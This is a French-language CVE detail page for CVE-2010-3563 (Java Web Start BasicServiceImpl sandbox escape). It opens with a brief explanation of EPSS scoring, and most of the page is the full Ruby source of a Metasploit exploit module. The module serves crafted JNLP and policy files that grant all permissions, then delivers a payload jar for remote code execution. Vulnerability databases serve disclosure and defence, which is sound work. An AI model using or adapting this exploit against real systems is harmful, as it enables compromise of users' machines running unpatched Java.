CVE-2010-3563 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: java_basicservice_impl.rb 11623 2011-01-22 00:16:57Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer # Internet explorer freaks out and shows the scary yellow info bar if this # is in an iframe. The exploit itself also creates a couple of scary popup # windows about "downloading application" that I haven't been able to # figure out how to prevent. For both of these reasons, don't include it # in Browser Autopwn. #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Sun Java Web Start BasicServiceImpl Remote Code Execution Exploit', 'Description' => %q{ This module exploits a vulnerability in Java Runtime Environment that allows an attacker to escape the Java Sandbox. By injecting a parameter into a javaws call within the BasicServiceImpl class the default java sandbox policy file can be therefore overwritten. The vulnerability affects version 6 prior to update 22. NOTE: Exploiting this vulnerability causes several sinister-looking popup windows saying that Java is "Downloading application." }, 'License' => MSF_LICENSE, 'Author' => [ 'Matthias Kaiser', # Discovery, PoC, metasploit module 'egypt' # metasploit module ], 'Version' => '$Revision: 11623 $', 'References' => [ [ 'CVE', '2010-3563' ], [ 'OSVDB', '69043' ], [ 'URL', 'http://mk41ser.blogspot.com' ], ], 'Platform' => [ 'java', 'win' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win', } ], [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, 'Platform' => 'java', } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 12 2010' )) end def on_request_uri( cli, request ) jpath = get_uri(cli) case request.uri when /java.security.policy/ print_status("Checking with HEAD") ack = "OK" send_response(cli, ack, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /all.policy/ all = "grant {permission java.security.AllPermission;};\n" print_status("Sending all.policy") send_response(cli, all, { 'Content-Type' => 'application/octet-stream' }) when /init.jnlp/ init = <<-EOS <?xml version="1.0" encoding="UTF-8"?> <jnlp href="#{jpath}/init.jnlp" version="1"> #{jnlp_info} <application-desc main-class="BasicServiceExploit"> <argument>#{jpath}</argument> </application-desc> </jnlp> EOS print_status("Sending init.jnlp") send_response(cli, init, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /exploit.jnlp/ expl = <<-EOS <?xml version="1.0" encoding="UTF-8"?> <jnlp href="#{jpath}/exploit.jnlp" version="1"> #{jnlp_info} <application-desc main-class="Exploit"/> </jnlp> EOS print_status("Sending exploit.jnlp") send_response(cli, expl, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /\.jar$/i p = regenerate_payload(cli) paths = [ [ "BasicServiceExploit.class" ], [ "Exploit.class" ], ] dir = [ Msf::Config.data_directory, "exploits", "cve-2010-3563" ] jar = p.encoded_jar jar.add_files(paths, dir) print_status("Sending Jar file to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" }) handler(cli) else print_status("Sending redirect to init.jnlp") send_redirect(cli, get_resource() + '/init.jnlp', '') end end def jnlp_info buf = <<-EOS <information> <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title> <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor> <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description> </information> <resources> <java version="1.6+"/> <jar href="#{get_uri}/exploit.jar"/> </resources> EOS end end